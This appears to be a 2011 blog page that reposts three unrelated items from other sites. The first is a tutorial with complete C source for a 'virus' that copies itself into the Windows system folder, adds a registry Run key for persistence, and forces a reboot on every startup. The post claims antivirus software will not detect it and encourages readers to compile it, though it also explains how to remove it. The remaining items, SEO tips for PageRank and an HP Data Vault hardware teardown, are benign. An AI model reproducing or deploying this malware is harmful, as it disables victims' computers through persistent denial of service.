Wednesday, February 2, 2011

A Virus Program to Restart the Computer at Every Startup


Today I will show you how to create a virus that restarts the computer upon every startup. That is, upon infection, the computer will get restarted every time the system is booted. This means that the computer will become inoperable since it reboots as soon as the desktop is loaded.
For this, the virus need to be doubleclicked only once and from then onwards it will carry out rest of the operations. And one more thing, none of the antivirus softwares detect’s this as a virus since I have coded this virus in C. So if you are familiar with C languagethen it’s too easy to understand the logic behind the coding.
Here is the source code.
#include<stdio.h>
#include<dos.h>
#include<dir.h>
int found,drive_no;char buff[128];
void findroot()
{
int done;
struct ffblk ffblk; //File block structure
done=findfirst(“C:\\windows\\system”,&ffblk,FA_DIREC); //to determine the root drive
if(done==0)
{
done=findfirst(“C:\\windows\\system\\sysres.exe”,&ffblk,0); //to determine whether the virus is already installed or not
if(done==0)
{
found=1; //means that the system is already infected
return;
}
drive_no=1;
return;
}
done=findfirst(“D:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“D:\\windows\\system\\sysres.exe”,&ffblk,0);
if
(done==0)
{
found=1;return;
}
drive_no=2;
return;
}
done=findfirst(“E:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“E:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=3;
return;
}
done=findfirst(“F:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“F:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=4;
return;
}
else
exit(0);
}
void main()
{
FILE *self,*target;
findroot();
if(found==0) //if the system is not already infected
{
self=fopen(_argv[0],”rb”); //The virus file open’s itself
switch(drive_no)
{
case 1:
target=fopen(“C:\\windows\\system\\sysres.exe”,”wb”); //to place a copy of itself in a remote place
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
C:\\windows\\system\\ sysres.exe”); //put this file to registry for starup
break;
case 2:
target=fopen(“D:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
D:\\windows\\system\\sysres.exe”);
break;
case 3:
target=fopen(“E:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
E:\\windows\\system\\sysres.exe”);
break;
case 4:
target=fopen(“F:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
F:\\windows\\system\\sysres.exe”);
break;
default:
exit(0);
}
while(fread(buff,1,1,self)>0)
fwrite(buff,1,1,target);
fcloseall();
}
else
system(“shutdown -r -t 0″); //if the system is already infected then just give a command to restart}
NOTE: COMMENTS ARE GIVEN IN BROWN COLOUR.
Compiling The Scource Code Into Executable Virus.
1. Download the Source Code Here
2. The downloaded file will be Sysres.C
3. For step-by-step compilation guide, refer my post How to compile C Programs.
Testing And Removing The Virus From Your PC
You can compile and test this virus on your own PC without any fear. To test, just doubleclick the sysres.exe file and restart the system manually. Now onwards ,when every time the PC is booted and the desktop is loaded, your PC will restart automatically again and again.
It will not do any harm apart from automatically restarting your system. After testing it, you can remove the virus by the following steps.
1. Reboot your computer in the SAFE MODE
2. Goto
X:\Windows\System
(X can be C,D,E or F)
3.You will find a file by name sysres.exe, delete it.
4.Type regedit in run.You will goto registry editor.Here navigate to
HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Run

 There, on the right site you will see an entry by name “sres“.Delete this entry.That’s it.You have removed this Virus successfully.
Logic Behind The Working Of The Virus
If I don’t explain the logic(Algorithm) behind the working of the virus,this post will be incomplete. So I’ll explain the logic in a simplified manner. Here I’ll not explain the technical details of the program. If you have further doubts please pass comments.
LOGIC:
1. First the virus will find the Root partition (Partition on which Windows is installed).
2. Next it will determine whether the Virus file is already copied(Already infected) intoX:\Windows\System
3. If not it will just place a copy of itself into X:\Windows\System and makes a registry entry to put this virus file onto the startup.
4. Or else if the virus is already found in the X:\Windows\System directory(folder), then it just gives a command to restart the computer.
This process is repeated every time the PC is restarted.
NOTE: The system will not be restarted as soon as you double click theSysres.exe file.The restarting process will occur from the next boot of the system.







source: http://www.gohacking.com

Tuesday, February 1, 2011

How to increase google page rank


What is Google Page Rank ??

Google Page Rank is the measure of how important a site is for google.Its value is between 0 to 10.Google Page Rank 10 is best and 0 is bad.Every website owner likes to increase its Google Page Rank .This helps in generating high-traffic from google and increases your website important.There are some ways by which you can increase your Google Page Rank.
You can try these methods..
1.Google Page rank is based on back links. Back links are Links to your website from another website. The more back links , the higher your Google Page rank will be.

2.Try to join forums which are related to your website and post your link in form signature there.

3.Try to have back link with the sites which have better Google Page rank then yours.

4.Always write unique content in your website or blogs.






source:http://www.hackingtrick.com/

Breaking into the Vault (a Look Inside the new HP Data Vault)

The new HP Data Vault is really nothing more than a rebranding of the HP MediaSmart Server targeted at the SoHo market (which I think it's a great idea). So it's no surprise that the hardware will be pretty much the same as well, but let's take a look anyway shall we? As the case is identical to the MediaSmart Servers, this means the standard disassembly instructions work here as well.
The layout looks virtually identical to all of the HP MediaSmart Sever mainboards going way back to the EX470. You'll find the processor up front, the chipset behind that and the RAM on the left; when looking from the front (click on image below to enlarge).
image
The Data Vault continues the use of the same CN9 KVM connector, which means that you can connect a VGA monitor, keyboard and mouse if you so desire (and have the right connector hardware).  JP1 is (I believe) is to reset the CMOS and JP2 is to enable the keyboard. People have had mixed results with JP2 using a USB keyboard and I can't get it to work either. There is discussion that you need a PS/2 keyboard hooked up. You can read more about this on MediaSmartServer.net (hey Alex, notice the silkscreened "C").
image
Here is a shot of the P.O.S.T. screen (I apologize for the blurry camera work).
image
I mentioned in the last article that the power supply has changed over that of the EX47x (especially the fan placement). In the photos on the front and back on the mainboard/power supply, you can see the fan in now in the back on the unit pushing air out, instead on in the front pushing air in.
image image
The processor in the Data Vault X510 is the Intel dual code E5200 which runs at 2.5 GHz. Below is how it is reported with CPU-Z. Technically the chip is NOT an Intel Core 2 Duo 9as reported by CPU-Z, but a Pentium Dual-Core. From the product comparison matrix on Intel's website, it looks like the Data Vault X510 is ripe for an upgrade to an E5300 (2.6GHz) or an E5400 (2.7GHz).
The mainboard is reported as a Wistron (same as the EX47x, EX48x and EX49x series) model 532837-ZH1 and the BIOS is AMI (American Megatrends, Inc). The Southbridge chipset is the Intel 82801IR (ICH9R) (PDF datasheet from Intel).
image image
The four internal SATA drives connect via the ICH9R's AHCI controller, while the single eSATA port is connected to a second SATA controller, the Silicon Image SiI 3531, which does support a port multiplier. Yay!
image
Here is a look at the Device Manager showing most of the pertinent hardware.
image

Bottom Line

The HP Data Vault continues the tradition of the MediaSmart as a sturdy little workhorse. The memory is already maxed out at 2GB and the CPU is a snappy 2.5GHz. The 2.6GHz or 2.7GHz CPU upgrade that I eluded to above is probably not even worth the money for the little performance increase that you will see. Therefore I don't think you will see this unit "hacked" in too many ways. It's pretty nice just the way it is.









source:http://www.homeserverhacks.com